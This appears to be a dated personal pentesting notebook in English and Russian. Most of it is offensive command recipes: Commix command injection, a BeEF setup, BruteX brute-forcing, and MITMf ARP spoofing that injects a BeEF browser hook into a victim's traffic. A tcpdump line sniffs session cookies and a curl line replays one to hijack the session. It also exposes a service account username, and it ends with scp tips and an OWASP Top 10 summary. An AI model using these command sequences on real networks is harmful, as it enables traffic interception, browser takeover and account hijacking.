22.06.2015

fenet-install-FE

fenet dti mil service type CMS username S_355950 password xxx
fenet dti mil service type DTI username S_355950 password xxx
fenet dti source type CDN username S_355950 password xxx
fenet dti source type CMS username S_355950 password xxx
fenet dti source type DTI username S_355950 password xxx
fenet dti upload destination type CMS username S_355950 password xxx
fenet dti upload destination type DTI username S_355950 password xxx
fenet user S_355950 password xxx

21.06.2015

Commix the Command Injection tool

#git clone https://github.com/stasinopoulos/commix.git
#./commix --url="http://192.168.168.12/example1.php?ip=INJECT_HERE"


Beef install/config

root@kali:/# apt-get update
root@kali:/# apt-get install beef-xss

  • #nano /usr/share/beef-xss/config.yaml
.....
metasploit:
enable: true
.....

  • #nano /usr/share/beef-xss/extensions/metasploit/config.yaml

BruteX

#git clone https://github.com/1N3/BruteX.git

root@n0name:~/BruteX# ./brutex 192.168.168.112

################################### Running Brute Force ############################
 + -- --=[Port 21 opened... running tests...
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes...... :)

MITMF - inject plugin - Beef Hook

Start Beef:
root@n0name:/usr/share/beef-xss# ./beef

#git clonehttps://github.com/byt3bl33d3r/MITMf.git
./kali_setup.sh

#./mitmf.py -i eth2 --arp --spoof --gateway 192.168.168.1 --target 192.168.168.109 --inject --js-url http://192.168.168.111:3000/hook.js

....and go to http://192.168.222.128:3000/ui/panel


20.06.2015

Tcpdump Cookie

# tcpdump -i eth1 host target.com -s 0 -w - -l 2>/dev/null | grep -ai -m 1 ^Cookie

.......
Cookie: ctime=2147483; PHPSESSID=6a87410c0a65ed057e4d449cc3015cda;
.......

# curl -b "ctime=2147483; PHPSESSID=6a87410c0a65ed057e4d449cc3015cda;" target.com

16.06.2015

SCP tip

Скопировать локальный файл на сервер:
scp file.gz root@server.my:/home/dir

Скопировать всё содержимое папки на сервере (рекурсивно) в локальную папку (с подробным выводом):
scp -r root@server.my:/home/dir/ /home/local/my/

Между серверами:
scp -r root@server1.my:/home/dir/ root@server2.my:/home/dir/

С указанием порта:scp -P 9999 file.zip user@server.my:~/
Дополнительные флаги
-r - рекурсивное копирование (для директорий)
-C - использовать сжатие при передачи
-P - порт ssh

Сценарии. OWASP

Существует несколько сценариев, по которым можно проверить сайт на наличие той или иной уязвимости в автоматическом режиме за достаточно короткий промежуток времени.

Тип уязвимости: внедрение кода — OWASP A1 (injection).
Как выявляется: ошибки в теле страницы, время отклика.
Чем грозит: компрометация пользовательских данных, заражение сайта.

Тип уязвимости: некорректная аутентификация и управление сессией — OWASP A2 (broken authentication and session management).
Как выявляется: передача сессии в URL, отсутствие шифрования.
Чем грозит: утечка чужой сессии может привести к перехвату управления аккаунтом.

Тип уязвимости: межсайтовый скриптинг — OWASP A3 XSS (cross-site scripting).Как выявляется: наличие ответа на специально сформированный запрос в коде страницы.
Чем грозит: атака производится непосредственно на пользователя, манипуляция данными.

Тип уязвимости: небезопасные прямые ссылки на объекты — OWASP A4 (insecure direct object references).
Как выявляется: перебор значения параметров.
Чем грозит: возможна утечка критичных данных

Тип уязвимости: небезопасная конфигурация — OWASP A5 (security misconfiguration).
Как выявляется: выявление настроек по умолчанию, стандартных паролей, сообщений об ошибках.
Чем грозит: компрометация пользовательских данных, заражение сайта.

Тип уязвимости: утечка чувствительных данных — OWASP A6 (sensitive data exposure).
Как выявляется: корректная установка и настройка сертификатов, выявление критичных данных.
Чем грозит: возможна утечка критичных данных.

Тип уязвимости: отсутствие контроля доступа к функциональному уровню — OWASP A7 (missing function level access control).
Как выявляется: манипуляция данными для получения доступа.
Чем грозит: возможна утечка критичных данных.

Тип уязвимости: подделка межсайтовых запросов — OWASP A8 CSRF (cross-site request forgery).
Как выявляется: отсутствие проверки адреса запроса (токена).
Чем грозит: манипуляция данными.

Тип уязвимости: использование компонентов с известными уязвимостями — OWASP A9 (using components with known vulnerabilities).
Как выявляется: наличие общедоступных уявивмостей для данной версии приложения.
Чем грозит: компрометация пользовательских данных, заражение сайта.

Тип уязвимости: невалидируемые редиректы — OWASP A10 (unvalidated redirects and forwards).
Как выявляется: манипуляция параметрами URL.
Чем грозит: компрометация пользовательских данных, возможна утечка критичных данных.

Выявленные уязвимости могут быть проэксплуатированы как по отдельности, так и составить сложный сценарий атаки на веб-приложение.